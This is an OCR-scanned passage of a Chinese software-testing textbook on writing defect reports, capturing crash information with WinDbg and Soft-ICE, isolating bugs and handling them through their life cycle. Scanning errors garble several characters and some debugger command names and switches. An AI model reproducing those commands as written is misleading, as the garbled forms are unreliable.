软件 缺陷 的 详细 描述 ,如 上 所 述 ,由 三 部 分 组 成 : 操作 / 重 现 步 又、 期 望 结果 ,实际 结果 ,有 
必要 再 做 进一步 的 讨论 。 

(1) 步骤 提供 了 如 何 重 复 当 前 缺陷 的 准确 描述 ,应 简明 而 完备 、 清 楚 而 准确 。 这 些 信息 对 
开发 人 员 是 关键 的 , 视 为 修复 缺陷 的 向 导 , 开 发 人 员 有 时 抱怨 粳 糕 的 缺陷 报告 ,往往 集中 在 
这 里 。 

(2) “期望 结果 "与 测试 用 例 标准 、 或 设计 规格 说 明 书 、 或 用 户 需求 等 一 致 ,达到 软件 预期 
的 功能 。 测 试 人 员 站 在 用 户 的 角度 要 对 它 进行 描述 , 它 提供 了 验证 缺陷 的 依据 。 

(3)“ 实 际 结果 ”测试 人 员 收 集 的 结果 和 信息 ,以 确认 缺陷 确实 是 一 个 问题 ,并 标识 那些 影 
响 到 缺陷 表现 的 要 素 。 


13.2.5 缺陷 描述 的 基本 要 求 


软件 缺陷 的 描述 是 软件 缺陷 报告 中 测试 人 员 对 问题 的 陈述 的 一 部 分 并 且 是 软件 缺陷 报告 
的 基础 部 分 。 同 时 ,软件 缺陷 的 描述 也 是 测试 人 员 就 一 个 软件 问题 与 开发 小 组 交流 的 主要 渠 
道 ,特别 是 对 跨 地 区 的 软件 开发 团队 。 一 个 好 的 描述 ,需要 使 用 简单 的 \ 准 确 的 、 专 业 的 语言 来 
抓 住 缺陷 的 本 质 ; 否则 , 它 就 会 使 信息 含糊 不 清 , 可 能 会 误导 开发 人 员 。 以 下 是 有 效 描 述 软件 
缺陷 的 规则 。 

(1) 单一 准确 。 每 个 报告 只 针对 一 个 软件 缺陷 。 在 一 个 报告 中 报告 多 个 软件 缺陷 的 次 端 
是 常常 会 导致 只 有 其 中 一 个 软件 缺陷 得 到 注意 和 修复 。 

(2) 可 以 再 现 。 提 供 这 个 缺陷 的 精确 通用 步骤 ,使 开发 人 员 容 易 看 懂 , 可 以 青 现 并 修复 
缺陷 。 

(3) 完整 统一 。 提 供 完整 .前 后 统一 的 再 现 软件 缺陷 的 步骤 和 信息 ,包括 图 片 信息 ,Log/ 
Trace 文件 等 。 

(4) 短小 简练 。 通 过 使 用 关键 词 , 可 以 使 缺陷 标题 的 描述 短小 简练 ,又 能 准确 解释 产生 缺 
陷 的 现象 。 如 * 主 页 的 导航 栏 在 低 分 辩 率 下 显示 不 整齐 ”中 * 主 页 ”“ 导 航 栏 "“ 分 辩 率 ”等 都 是 
关键 词 。 

(5) 特定 条 件 。 许 多 软件 功能 在 通常 情况 下 没有 问题 ,而 是 在 某 种 特定 条 件 下 会 存在 缺 
陷 , 所 以 软件 缺陷 描述 不 要 忽视 这 些 看 似 细节 的 但 又 必要 的 特定 条 件 ( 如 特定 的 操作 系统 、 浏 
览 器 或 某 种 设置 等 ) ,能 够 提供 帮助 开发 人 员 找 到 原因 的 线索 ,如 “搜索 功能 在 没有 找到 结果 返 
回 时 跳 转 页 面 不 对 ”。 

(6) 补充 完善 。 从 发 现 Bug 那 一 刻 起 ,测试 人 员 的 责任 就 是 保证 它 被 正确 地 报告 ,并 且 得 
到 应 有 的 重视 ,继续 监视 其 修复 的 全 过 程 。 

(7) 不 做 评价 。 在 软件 缺陷 描述 中 不 要 带 有 个 人 观点 ,或 对 开发 人 员 进 行 评价 。 软 件 缺 
陷 报 告 是 针对 产品 的 。 


13.2.6 缺陷 报告 示例 


一 份 优秀 的 缺陷 报告 应 记录 下 最 少 的 重复 步骤 ,不 仅 包括 期 望 结果 实际 结果 和 必要 的 数 
据 、 附 件 、 测 试 环境 或 条 件 ,以 及 简单 的 分 析 。 下 面 是 一 个 优秀 的 缺陷 报告 记录 。 


(1) 重 现 步 又， 

@ 打开 一 个 编辑 文字 的 软件 并 且 创 建 一 个 新 的 文档 (这 个 文件 可 以 录入 文字 ); 

@ 在 这 个 文件 里 随意 录入 一 两 行文 字 ; 

@ 选中 一 两 行文 字 , 通 过 选择 Font 菜单 然后 选择 Arial 字体 格式 ; 

@ 一 两 行文 字 变 成 了 无 意义 的 乱 字符 。 

(2) 期 望 结 果 : 当 用 户 选择 已 录入 的 文字 并 改变 文字 格式 的 时 候 , 文 本 应 该 显示 正确 
的 文字 格式 不 会 出 现 乱 字符 显示 。 

(3) 实际 结果 : 它 是 字体 格式 的 问题 ,如 果 改 变 文字 格式 成 Arial 之 前 ,保存 文件 , 缺 
陷 不 会 出 现 。 缺 陷 仅 发 生 在 Windows 98 并 且 改 变 文字 格式 成 其 他 的 字体 格式 时 ,文字 是 
显示 正常 的 。 

见 所 附 的 图 片 (有 一 个 链接 , 单 击 即 可 看 到 ) 


而 一 份 含糊 而 不 完整 的 缺陷 报告 ,可 能 缺少 重建 步骤 ,或 者 没有 期 望 结 果 、 实 际 结果 和 必 
要 的 图 片 ,如 下 描述 。 


重 现 步骤 ; 

(1) 打开 一 个 编辑 文字 的 软件 ; 
(2) 录入 一 些 文字 ; 

(3) 选择 Arial 字体 格式 ; 

(4) 文字 变 成 了 乱 字符 。 
期 望 结果 ， 

实际 结果 : 


一 份 散 漫 的 缺陷 报告 (无 关 的 重建 步骤 ,以 及 对 开发 人 员 理解 这 个 错误 毫 无 帮助 的 结果 信 
息 ) 如 下 描述 : 


重 现 步骤 ， 

(1) 在 Windows 98 上 打开 一 个 编辑 文字 的 软件 并 且 编 辑 存在 文件 ; 

(2) 文件 字体 显示 正常 ; 

(3) 我 添加 了 图 片 , 这 些 图 片 显示 正常 ; 

(4) 在 此 之 后 ,我 创建 了 一 个 新 的 文档 ; 

(5) 在 这 个 文档 中 我 随意 录入 了 大 量 的 文字 ; 

(6) 在 我 录入 这 些 文字 之 后 ,选择 几 行文 字 , 并 且 通 过 选择 Font 菜单 然后 选择 Arial 
字体 格式 改变 文字 的 字体 

(7) 有 三 次 我 重 现 了 这 个 缺陷 ; 

(8) 我 在 Solaris 操作 系统 运行 这 些 步骤 ,没有 任何 问题 

(9) 我 在 Mac 操作 系统 运行 这 些 步骤 ,没有 任何 问题 。 

期 望 结果 ; 当 用 户 选择 已 录入 的 文字 并 改变 文字 格式 的 时 候 ,文本 应 该 显示 正确 的 文 
字 格 式 不 会 出 现 乱 字符 显示 。 

实际 结果 : 我 试 着 选择 少量 的 不 同 的 字体 格式 ,但 是 只 有 Arial 字体 格式 有 软件 缺陷 ， 
不 论 如 何 , 它 可 能 会 出 现在 我 没有 测试 的 其 他 的 字体 格式 。 


以 上 给 出 了 几 个 实例 ,编写 软件 缺陷 报告 的 关键 是 遵循 软件 缺陷 的 有 效 描述 规则 和 分 离 
和 再 现 软件 缺陷 的 步骤 ,仔细 做 笔记 ,这 样 才能 写 出 简明 清晰 的 缺陷 报告 。 测 试 人 员 还 需 注意 
应 该 刚 完成 测试 之 后 写 缺 陷 报告 , 写 完 报告 后 ,应 再 检查 一 遍 。 


13.3 软件 缺陷 相关 的 信息 


前 面 所 叙述 的 软件 缺陷 属性 ,是 其 基本 信息 ,为 了 更 好 地 处 理 软件 缺陷 ,需要 了 解 还 有 哪 
些 相关 的 信息 。 软 件 缺陷 相关 的 信息 包括 软件 缺陷 的 图 片 、 记 录 信 息 和 如 何 再 现 和 分 离 软件 
缺陷 。 对 于 某 一 个 软件 缺陷 报告 ,测试 人 员 应 该 给 予 相 关 的 信息 ,例如 ,捕捉 到 软件 缺陷 日 志 
文件 和 图 片 ,保证 开发 人 员 和 其 他 测试 人 员 可 以 分 离 和 重 现 它 。 在 这 一 节 中 重点 介绍 可 以 捕 
捉 Bug 的 工具 ,给 出 在 什么 情况 下 需要 添加 图 片 文件 和 如 何 分 离 和 再 现 软件 缺陷 的 建议 。 


13.3.1 软件 缺陷 的 图 片 信 息 


软件 缺陷 的 图 片 、 记 录 信 息 是 软件 缺陷 报告 中 重要 的 组 成 部 分 ,以 下 将 介绍 常用 的 捕捉 软 
件 缺 陷 的 工具 、 如 何 使 用 这 些 工具 、 添 加 软件 缺陷 图 片 的 作用 和 为 什么 要 添加 图 片 信息 等 。 

一 些 涉及 用 户 界面 的 软件 缺陷 很 难 用 文字 清楚 地 描述 ,因此 软件 测试 人 员 通 过 附 上 图 片 
比较 直观 地 表示 缺陷 发 生 在 产品 界面 什么 位 置 有 什么 问题 等 。 

1. 采用 图 片 的 格式 

测试 人 员 一 般 采 用 JPG、GIF 的 图 片 格式 ,因为 这 类 文件 占用 的 空间 小 ,打开 的 速度 快 。 

2. 什么 情况 下 需要 附 上 图 片 

通常 情况 下 ,出 现在 用 户 界面 并 且 影 响 用 户 使 用 或 者 影响 产品 的 美观 的 软件 缺陷 , 附 上 图 
片 比较 直观 ,例如 : 

(1) 当 产 品 中 有 一 段 文字 没有 显示 完全 ,为 了 明确 标识 这 段 文字 的 位 置 ,测试 人 员 必 须 贴 
上 图 片 。 

(2) 在 测试 外 国语 言 版 本 的 时 候 , 当 发 现 产 品 中 有 一 段 文字 没有 翻译 ,测试 人 员 需 要 贴 上 
图 片 标识 没有 翻译 的 文字 。 

(3) 在 测试 外 国语 言 版 本 的 时 候 , 当 发 现 产品 中 有 一 段 外 国文 字 显示 乱 字符 ,测试 人 员 必 
须 贴 上 图 片 标识 那些 乱 字符 的 外 国文 字 。 

(4) 产品 中 有 语法 错误 、 标 点 符号 使 用 不 当 等 软件 缺陷 ,测试 人 员 贴 上 图 片 告诉 开发 人 员 
缺陷 在 什么 地 方 。 

(5) 在 产品 中 运用 错误 公司 标志 、 图 片 没有 显示 完全 等 软件 缺陷 ,也 需要 贴 上 图 片 。 

测试 人 员 需 要 注意 ,有 必要 在 图 片上 用 颜色 标注 缺陷 的 位 置 , 令 开发 人 员 一 目 了 然 ,使 得 
软件 缺陷 尽快 修复 。 
13.3.2 使 用 WinDbg 记录 软件 缺陷 信息 

WinDbg(http://www. microsoft. com/whdc/devtools/debugging) 是 微软 公司 发 布 的 一 
款 相当 优秀 的 源码 级 调试 工具 ,可 以 用 于 Kernel 模式 调试 和 用 户 模式 调试 ,在 调试 软件 崩溃 
后 形成 Dump 文件 ,包括 操作 系统 的 信息 、 进 程 运 行 的 状态 .时 间 和 环境 变量 汇编 指令 \ 调 
堆栈 等 ,可 以 查 出 许多 隐 性 的 错误 。 

1. 配置 WinDbg 

运行 File 一 之 Symbol File Path ,按照 下 面 的 方法 设置 NT_SYMBOL_PATH 变量 : 


C:\MyCodesSymbols; 
SRV x C:\MyLocalSymbols * http://msdl.microsoft. com/download/symbols 


即 WinDbg 将 先 从 本 地 文件 夹 C:\MyCodesSymbols 中 查找 Symbol, 如 果 找 不 到 , 则 自 
动 从 MS 的 Symbol Server 上 下 载 Symbols。 也 可 以 下 载 完整 的 .正确 版 本 的 Symbol 安装 包 
进行 安装 。 最 后 ,使 用 Im、!sym noisy、!reload 等 命令 来 验证 符号 路 径 是 否 正确 。 

2. 使 用 WinDbg 
WinDbg 提供 了 图 形 界面 和 命令 行 两 种 运行 方式 。 使 用 图 形 界面 的 WinDbg 来 调试 应 用 程序 : 


File-> OpenExecutable: 可 选择 一 个 可 执行 文件 进行 调试 ; 

File 一 > Attache to a Process: 可 选择 一 个 运行 中 的 进程 ,并 对 其 进行 调试 ; 

File->Kernel Debu: 打开 内 核 调试 选择 窗口 ,这 时 不 能 使 用 挂 起 系统 的 命令 ,但 可 以 读 写 系 统 内 存 ， 
可 用 于 检测 缺陷 产生 的 原因 . 


可 以 建立 命令 行 快捷 方式 : C:\WinDBG\windbg. exe 一 c ". prompt_allow 十 dis 一 reg 
一 ea 一 src — sym; . enable_unicode 1; . enable_long_status 1; . logopen /t c:\dbglog\ 
dbglog. txt"。 青 在 命令 行 窗口 输入 “x” 加 上 可 执行 文件 名 加 上 “1” 代 码 中 的 函数 名 ,可 以 获 
得 函数 的 入 口 地 址 ,这 样 就 可 以 方便 地 设置 调试 断 点 ,如 输入 : 

x cpp200803272307!getConstBuffer 

获得 getConstBuffer 的 地 址 。 输 入 *bp” 加 上 函数 入 口 地 址 就 可 以 设置 函数 断 点 ,如 “bp 
004113c0”。 也 可 以 合成 这 两 个 命令 : 

bp cpp200803272307!getConstBuffer 

使 用 u 004113c0 和 1!address 004113c0 可 查看 更 详细 的 信息 。 

3. 调试 方式 

1) 远程 调试 

可 以 从 机 器 A 上 调试 在 机 器 B 上 执行 的 程序 。 具 体 步骤 如 下 。 

(1) 在 机 器 B 上 启动 一 个 调试 窗口 (Debug Session) , 既 可 以 直接 在 WinDbg 下 运行 一 个 
程序 ,也 可 以 将 WinDbg 附加 到 一 个 进程 上 。 

(2) 在 机 器 B 的 WinDbg 命令 窗口 上 启动 一 个 远程 调试 接口 : 

. Server npipe:pipe = PIPE_NRME 

其 中 ,PIPE_NAME 是 该 接口 的 名 字 。 

(3) 在 机 器 A 上 运行 : 

windbg - remote npipe: server = SERVER_NAME, pipe = PIPE_NAME 

其 中 ,SERVER_NAME 是 机 器 B 的 名 字 。 

2) Dump 文件 调试 

如 果 客 户 机 出 现 问题 , 当 不 能 使 用 远程 调试 来 解决 问题 时 ,可 以 通过 WinDbg 附加 到 出 现 
问题 的 进程 上 ,然后 在 命令 窗口 中 输入 ， 


. dump /ma File Name 

创建 一 个 Dump 文件 。 在 得 到 Dump 文件 后 ,使 用 如 下 命令 打开 它 : 
windbg — z DUMP_FILE NAME 

3) 本 地 进程 调试 

可 以 在 WinDbg 下 直接 运行 一 个 程序 : 

Windbg "path to executable" arguments 


也 可 以 将 WinDbg 附加 到 一 个 正在 运行 的 程序 : 


Windbg — p "process id" 

Windbg - pn "process name” 

如 果 想 控制 一 个 进程 及 其 子 进程 ,在 WinDbg 的 命令 行 上 加 上 “一 o” 选 项 或 使 用 命令 
“. childdbg”。 如 果 同 时 调试 几 个 进程 ,可 以 使 用 “1” 命 令 来 显示 并 切换 到 不 同 的 进程 。 在 同 
一 个 进程 中 可 能 有 多 个 线程 ， 一 ”命令 可 以 用 来 显示 和 切换 线程 。 

4. 常用 命令 

(1) 调 出 命令 帮助 信息 : . hh keyword。 

(2) 下 载 系 统 文件 的 符号 ; symchk c:\winnt\system32\ntoskrnl. exe /s。 

(3) 设置 源码 路 径 : .lsrcpath。 

(4) 查看 event 对 象 的 信号 状态 : !object \BaseNamedObjects。 

(5) 显示 当前 线程 的 上 一 个 错误 值 和 状态 值 : !gle。 

(6) 指定 进 制 形式 ,0x/0n/0t/0y 分 别 表 示 十 六 /十 / 八 /二 进 制 。 

(7) 过 滤 命令 窗口 输出 信息 : . prompt_allow 一 reg 十 dis 一 ea 一 src 一 sym。 

(8) 格式 化 命令 : . formats @eax。 

(9) 查看 eax 上 的 内 存 数据 : dc eax。 

(10) 查看 相应 内 存 页 的 属性 : laddress eax。 

(11) 显示 局 部 变量 : dv(Ctrl 十 Alt 十 V 切换 到 更 详细 的 显示 模式 ) 。 

(12) 查看 当前 的 调用 堆栈 : k "或 一 kb。 

(13) 异常 处 理 相关 ,用 sx，sxd，sxe，sxi，sxn，sxr 等 设置 异常 和 事件 的 处 理 方式 ,如 
sxe ld 可 以 在 加 载 dll 时 中 断 下 来 。 

(14) 内 核 调试 时 切换 进程 : !process 0 0 或 . process xxxxxxxx。 

(15) 显示 数据 结构 : dt, 如 dt PEB 会 显示 操作 系统 进程 结构 。 

(16) 显示 当前 线程 进程 的 环境 信息 : !teb、!peb。 

(17) 显示 句柄 信息 : !handle。 

(18) 显示 与 句柄 有 关 的 调用 堆栈 : !htrace-enable, 再 输入 !htrace handle_value。 

(19) 显示 进程 中 加 载 的 模块 信息 : Im。 

(20) 查看 对 象 类 型 : In。 

(21) 显示 各 线程 的 锁 资 源 使 用 情况 : !locks, 对 调试 死 锁 很 有 用 。 

(22) 设置 代码 断 点 : bp/bu/bm; 设置 内 存 断 点 : ba; 显示 断 点 信息 : bl。 


13.3.3 使 用 Soft-ICE 记录 软件 缺陷 信息 


Soft-ICE 是 Compuware 公司 的 产品 NuMega DriverStudio 中 一 个 代表 性 的 工具 ,用 于 跟 
踪 软 件 运行 时 变量 ,内存 等 状态 ,而 且 可 以 捕捉 系统 崩溃 时 所 需 的 信息 。 使 用 它 可 以 记录 产品 
发 生 缺 陷 的 地 方 同时 生成 日 志文 件 。 在 一 般 情况 下 .测试 人 员 需 要 在 软件 缺陷 报告 上 附 上 日 
志文 件 ,便于 开发 人 员 修 复 软件 缺陷 。 

当 遭 遇 软 件 崩 浊 时 ,如 何 使 用 Soft-ICE? 在 开始 测试 之 前 ,已 经 安装 了 Soft-ICE 并 启动 
了 “faults on” 命 令 。 当 软件 发 生 崩 溃 现 象 时 .可 以 使 用 下 面 的 命令 去 捕捉 必要 的 信息 。 

(1) stack 

(2) u eip-80 


如 果 数据 窗口 是 开启 的 状态 ,可 以 输入 "wd" 来 关闭 该 窗口 ,然后 再 输入 "dd esp-20” 命 令 。 
stack dd esp-20 是 为 了 标注 跟踪 信息 。 

(1) 通过 输入 “x”, 退 出 Soft-ICE 窗口 ; 如 果 还 是 无 法 退出 Soft-ICE, 需 要 输入 “faults 
off”, 然 后 输入 “x”。 

(2) 打开 Soft-ICE 应 用 程序 ,立即 保存 日 志文 件 。 一 旦 再 次 打开 Soft-ICE, 请 输入 “faults on”。 

以 下 是 一 些 常用 命令 。 

(1) 在 任何 时 候 , 按 Esc 键 去 删除 命令 行 ; 

(2) 输入 Help? 列 出 所 有 命令 行 及 其 帮助 说 明 ， 

(3) 按 Ctrl+D 键 ,在 Soft-ICE 窗口 和 Windows 系统 间 转 换 。 

当 测 试 人 员 报 告 崩溃 的 软件 缺陷 的 时 候 ,如 下 几 点 很 重要 。 

(1) 任何 造成 软件 崩溃 的 缺陷 都 需要 附 上 Soft-ICE 的 跟踪 Log 文件 ,使 开发 人 员 能 够 分 
析 这 个 缺陷 的 错误 信息 。 

(2) 附 上 Soft-ICE 的 跟踪 Log 文件 之 后 ,重新 打开 检查 Log 文件 信息 是 无 误 的 。 

(3) 如 果 不 能 附 上 Soft-ICE 的 跟踪 Log 文件 ,应 该 说 明 为 什么 不 能 附 上 Soft-ICE 的 跟踪 
Log 文件 。 


13.3.4 分 离 和 再 现 软件 缺陷 


要 想 有 效 地 分 离 软件 缺陷 ,需要 清楚 .准确 地 描述 产生 软件 缺陷 的 具体 步骤 和 条 件 , 根 据 
缺陷 的 描述 ,一般 可 以 再 现 软件 缺陷 。 但 在 某 些 糟糕 的 情况 下 ,再 现 一 个 软件 缺陷 并 不 容易 ， 
对 条 件 环境、 技术 等 各 方面 要 求 都 非常 高 ,需要 耐心 地 一 遍 遍 操作 ,才能 再 现 。 

1. 分 离 和 再 现 软件 缺陷 的 步骤 

为 了 有 效 地 再 现 软件 缺陷 ,除了 按照 软件 缺陷 的 有 效 描述 规则 来 描述 软件 缺陷 ,还 要 遵循 
软件 缺陷 分 离 和 再 现 的 方法 ,具有 较 高 的 技巧 性 。 虽 然 有 时 少数 几 个 缺陷 很 难 再 现 或 者 根本 
无 法 再 现 ,以 下 介绍 分 离 和 再 现 缺 陷 的 一 些 常用 方法 和 技巧 。 

(1) 确保 所 有 的 步骤 都 被 记录 。 记 录 下 所 做 的 每 一 件 事 、 每 一 个 步骤 、 每 一 个 停顿 。 无 意 
间 丢失 一 个 步骤 或 者 增加 一 个 多 余 步 又, 可 能 导致 无 法 再 现 软 件 缺 陷 。 在 尝试 运行 测试 用 例 
时 ,可 以 利用 录制 工具 确切 地 记录 执行 步骤 。 所 有 的 目标 是 确保 导致 软件 缺陷 所 需 的 全 部 细 
节 是 可 见 的 。 

(2) 特定 条 件 和 时 间 。 软 件 缺陷 仅 在 特定 时 刻 出 现 吗 ? 或 只 在 特定 条 件 下 产生 吗 ? 产生 
软件 缺陷 的 原因 是 网 络 瓶 颈 吗 ? 在 较 差 和 较 好 的 硬件 设备 上 运行 测试 用 例会 有 不 同 的 结 
果 吗 ? 

(3) 压力 和 负荷 ,内 存 和 数据 溢出 相关 的 边界 条 件 。 执 行 某 个 测试 可 能 导致 产生 缺陷 的 
数据 被 覆盖 ,而 只 有 在 试图 使 用 该 数据 时 才 会 再 现 。 在 重启 计算 机 后 软件 缺陷 消失 , 当 执行 其 
他 测试 之 后 又 出 现 这 类 软件 缺陷 ,需要 注意 某 些 软件 缺陷 是 否 在 无 意 中 产生 。 

(4) 考虑 资源 依赖 性 ,包括 内 存 ` 网 络 和 硬件 共享 的 相互 作用 等 。 软 件 缺陷 是 否 仅 在 运行 
其 他 软件 并 与 其 他 硬件 通信 的 ”繁忙 "系统 上 出 现 ? 软件 缺陷 可 能 最 终 证 实 与 硬件 资源 、 网 络 
资源 有 相互 的 作用 ,审视 这 些 影响 有 利于 分 离 和 再 现 软件 缺陷 。 

(5) 不 能 忽视 硬件 。 与 软件 不 同 ,硬件 不 按 预 定 方式 工作 。 板 卡 松动 、 内 存 条 损坏 或 者 
CPU 过 热 都 可 能 导致 像 是 软件 缺陷 的 失败 。 应 设法 在 不 同 硬件 上 青 现 软 件 缺 陷 。 在 执行 配 
置 或 者 兼容 性 测试 时 特别 重要 。 判 定 软件 缺陷 是 在 一 个 系统 上 还 是 在 多 个 系统 上 产生 。 


开发 人 员 有 时 可 以 根据 相对 简单 的 错误 信息 就 能 找 出 问题 所 在 。 因 为 开发 人 员 熟 悉 代 
码 ,因此 看 到 症状 ` 测 试用 例 步 又 和 分 离 问题 的 过 程 时 ,可 能 得 到 查找 软件 缺陷 的 线索 。 一 个 
软件 缺陷 分 离 问题 有 时 需要 小 组 的 共同 努力 。 如 果 尽 最 大 努力 分 离 软件 缺陷 ,也 无 法 表达 再 
现 步骤 ,那么 仍然 需要 记录 软件 缺陷 ,因为 软件 缺陷 这 个 问题 还 是 存在 的 。 

2. 分 离 和 调试 软件 缺陷 之 间 的 区 别 

讨论 分 离 和 调试 软件 缺陷 之 间 的 区 别 ,是 为 了 划 清 测试 人 员 与 开发 人 员 的 责任 ,增加 界限 
的 清晰 度 与 测试 资源 的 控制 能 力 。 面 对 一 个 软件 缺陷 时 ,开发 人 员 或 测试 人 员 为 了 修复 它 ,会 
提出 一 系列 分 步骤 的 .处 理 缺 陷 的 疑问 。 

(1) 再现 软 件 缺陷 现象 所 需 的 最 少 步骤 有 哪些 ? 这些 步骤 成 功 再 现 的 可 能 性 多 大 ? 

(2) 软件 缺陷 是 否 成 立 ? 换 句 话说 ,测试 结果 是 否 可 能 起 源 于 测试 因素 或 者 测试 人 员 自 
身 的 错误 ,还 是 影响 顾客 需求 的 、 系 统 真正 的 故障 ? 

(3) 哪些 外 部 因素 引起 软件 缺陷 ? 

(4) 哪些 内 部 因素 ,是 代码 .网 络 、 还 是 环境 引起 的 软件 缺陷 ? 

(5) 怎样 才能 在 不 产生 新 的 缺陷 的 条 件 下 使 这 个 软件 缺陷 得 到 修复 ? 

(6) 这 种 修复 是 否 经 过 调试 ? 单元 是 否 经 过 测试 ? 

(7) 问题 解决 了 吗 ? 它 是 否 通过 了 确认 和 回归 测试 ,确定 系统 的 其 余部 分 仍 工作 正常 ? 

第 (1) 步 证 明了 一 个 软件 缺陷 不 是 一 个 意外 ,同时 精练 操作 步骤 。 第 (2)、(3) 步 分 离 了 这 
个 软件 缺陷 。 第 (4) 一 (6) 步 是 调试 任务 。 第 (7) 步 涉及 确认 和 回归 测试 。 在 整个 过 程 中 ,缺陷 
从 测试 阶段 (第 (1) 一 (3) 步 ) 进 入 开发 阶段 (第 (4) 一 (6) 步 ) ,然后 再 回 到 测试 阶段 (第 (7) 步 )。 
虽然 这 个 责任 流程 似乎 简单 而 明显 ,但 其 边界 不 是 很 清晰 (特别 是 第 (3)、(4) 步 之 间 的 边界 )， 
会 产生 一 些 资源 重 琶 而 浪费 大 量 的 精力 。 

如 果 软 件 缺 陷 描述 清楚 ,包含 第 (1) 一 (3) 步 中 问题 的 答案 ,意味 着 在 隔离 与 调试 之 问 清楚 
地 划 上 一 条 界限 ,测试 人 员 就 能 专注 于 测试 过 程 ,而 不 受 开 发 人 员 的 影响 。 如 果 测 试 人 员 不 能 
完全 表现 缺陷 的 特征 ,导致 再 现 和 错误 种 类 的 不 确定 性 ,因此 无 法 将 它 分 离 ,测试 人 员 和 开发 
人 员 就 可 能 会 陷入 一 起 调试 的 过 程 中 。 实 际 上 ,测试 人 员 在 其 职责 范围 内 有 许多 其 他 的 工作 ， 
而 不 应 该 被 卷 人 调试 工作 中 。 开 发 人 员 询 问 测试 人 员 是 调试 工作 的 一 部 分 ,这 是 开发 人 员 的 
职责 所 在 ,而 测试 人 员 只 要 在 软件 缺陷 描述 的 基础 上 回答 问题 就 可 以 了 。 否 则 ,在 这 个 上 面 ， 
测试 人 员 可 能 会 花费 大 量 的 时 间 去 解答 开发 人 员 所 提 的 问题 。 


13.4 ”软件 缺陷 跟踪 和 分 析 


软件 缺陷 被 报 出 之 后 , 接 下 来 就 是 要 对 它 进行 处 理 和 跟踪 ,包括 软件 缺陷 生命 周期 .软件 
缺陷 处 理 技巧 软件 缺陷 跟踪 的 方法 和 图 表 、 软 件 缺 陷 跟踪 系统 。 

软件 缺陷 跟踪 管理 是 测试 工作 的 一 个 重要 部 分 ,测试 的 目的 是 尽早 发 现 软件 系统 中 的 缺 
陷 , 而 对 软件 缺陷 进行 跟踪 管理 的 目的 是 确保 每 个 被 发 现 的 缺陷 都 能 够 及 时 得 到 处 理 。 软 件 
测试 过 程 简单 地 说 就 是 围绕 缺陷 进行 的 ,缺陷 跟踪 管理 的 目标 如 下 。 

(1) 确保 每 个 被 发 现 的 缺陷 都 能 够 被 解决 “解决 "的 意思 不 一 定 是 被 修正 ,也 可 能 是 其 他 
处 理 方式 (例如 ,延迟 到 下 一 个 版 本 中 修正 或 标 为 “已 知 问题 ") ,总 之 ,对 每 个 被 发 现 的 缺陷 的 
处 理 方式 必须 能 够 在 开发 组 织 中 达到 一 致 。 

(2) 收集 缺陷 数据 并 根据 缺陷 趋势 曲线 识别 测试 过 程 的 阶段 ; 决定 测试 过 程 是 否 结束 有 


很 多 种 方式 ,通过 缺陷 趋势 曲线 来 确定 测试 过 程 是 否 结束 是 常用 并 且 较 为 有 效 的 一 种 方式 。 
(3) 收集 缺陷 数据 并 在 其 上 进行 数据 分 析 , 作 为 组 织 的 过 程 财富 。 
上 述 的 第 一 条 容易 受到 重视 ,在 谈 到 缺陷 跟踪 管理 时 ,一 般 人 都 会 马上 想到 这 一 条 ,然而 
对 第 二 和 第 三 条 目标 却 很 容易 忽视 。 其 实 ,缺陷 数据 的 收集 和 分 析 是 很 重要 的 ,可 以 为 软件 质 
量 改 善 提供 许多 有 价值 的 第 一 手数 据 ,也 是 做 好 缺陷 预防 工作 的 基础 。 


13.4.1 软件 缺陷 处 理 技巧 


管理 员 ,测试 人 员 和 开发 人 员 需 要 掌握 在 软件 缺陷 生命 周期 的 不 同 阶段 处 理 软 件 缺 陷 的 
技巧 ,从 而 尽快 处 理 软 件 缺陷 ,缩短 软件 缺陷 生命 周期 。 以 下 列 出 处 理 软 件 缺 陷 基本 技巧 。 

(1) 审阅 。 当 一 个 新 测试 人 员 发 现 一 个 缺陷 ,通过 页 面 提交 到 缺陷 跟踪 数据 库 中 。 在 缺 
陷 被 分 配给 开发 人 员 之 前 ,为 了 保证 缺陷 描述 的 质量 和 减少 开发 人 员 的 抱怨 ,最 好 由 其 主管 或 
其 他 资深 测试 工程 师 进 行 审阅 。 

(2) 拒绝 。 如 果 审 阅 者 决定 对 一 份 缺陷 报告 进行 较 大 的 修改 ,例如 ,需要 添加 更 多 的 信息 
或 者 需要 改变 缺陷 的 严重 等 级 ,应 该 和 报告 人 一 起 讨论 ,由 报告 人 修改 缺陷 报告 ,然后 再 次 
提交 。 

(3) 完善 。 如 果 测 试 员 已 经 完整 地 描述 了 问题 的 特征 并 将 其 分 离 ,那么 审查 者 就 会 肯定 
这 个 报告 。 

(4) 分 配 。 当 开发 组 接受 完整 描述 特征 并 被 分 离 的 问题 时 ,测试 员 将 它 分 配给 适当 的 开 
发 人 员 ,如 果 不 知道 具体 开发 人 员 ,应 分 配给 项 目 开发 组 长 ,由 开发 组 长 再 分 配给 对 应 的 开发 
人 员 。 

(5) 测试 。 一 旦 开发 人 员 修 复 一 个 缺陷 ,还 需要 得 到 测试 人 员 的 验证 , 没 经 过 测试 人 员 的 
验证 ,缺陷 是 不 能 被 关闭 的 。 同 时 ,还 要 围绕 所 做 的 代码 改动 进行 相应 的 回归 测试 ,检查 这 个 
缺陷 的 修复 是 否 会 引入 新 的 问题 。 

(6) 重新 打开 。 如 果 缺 陷 没 有 通过 验证 ,那么 测试 人 员 将 重新 打开 这 个 缺陷 。 重 新 打开 
一 个 缺陷 ,需要 加 注释 说 明 , 否 则 会 引起 “打开 -修复 -再 打开 ”多 个 来 回 ,造成 测试 人 员 和 开发 
人 员 不 必要 的 矛盾 。 

(7) 关闭 。 如 果 通 过 验证 测试 ,那么 测试 人 员 将 关闭 这 个 缺陷 。 只 有 测试 人 员 才 能 关闭 
缺陷 ,开发 人 员 没 有 这 个 权限 。 

(8) 暂缓 。 如 果 每 个 人 都 同意 将 确实 存在 的 缺陷 移 到 以 后 处 理 , 应 该 指定 下 一 个 版 本 号 
或 修改 的 日 期 。 一 旦 新 的 版 本 开始 时 ,这 些 暂 缓 的 缺陷 应 该 重新 被 打开 。 

测试 人 员 开发 人 员 和 管理 者 要 紧密 地 合作 ,掌握 软件 缺陷 处 理 技巧 ,及 时 地 审查 、 处 理 和 
跟踪 每 个 软件 缺陷 ,加 速 软件 缺陷 处 理 的 节奏 ,不 仅 可 以 促进 项 目 进展 的 速度 ,而 且 有 助 于 提 
高 软件 质量 。 


13.4.2 缺陷 趋势 分 析 


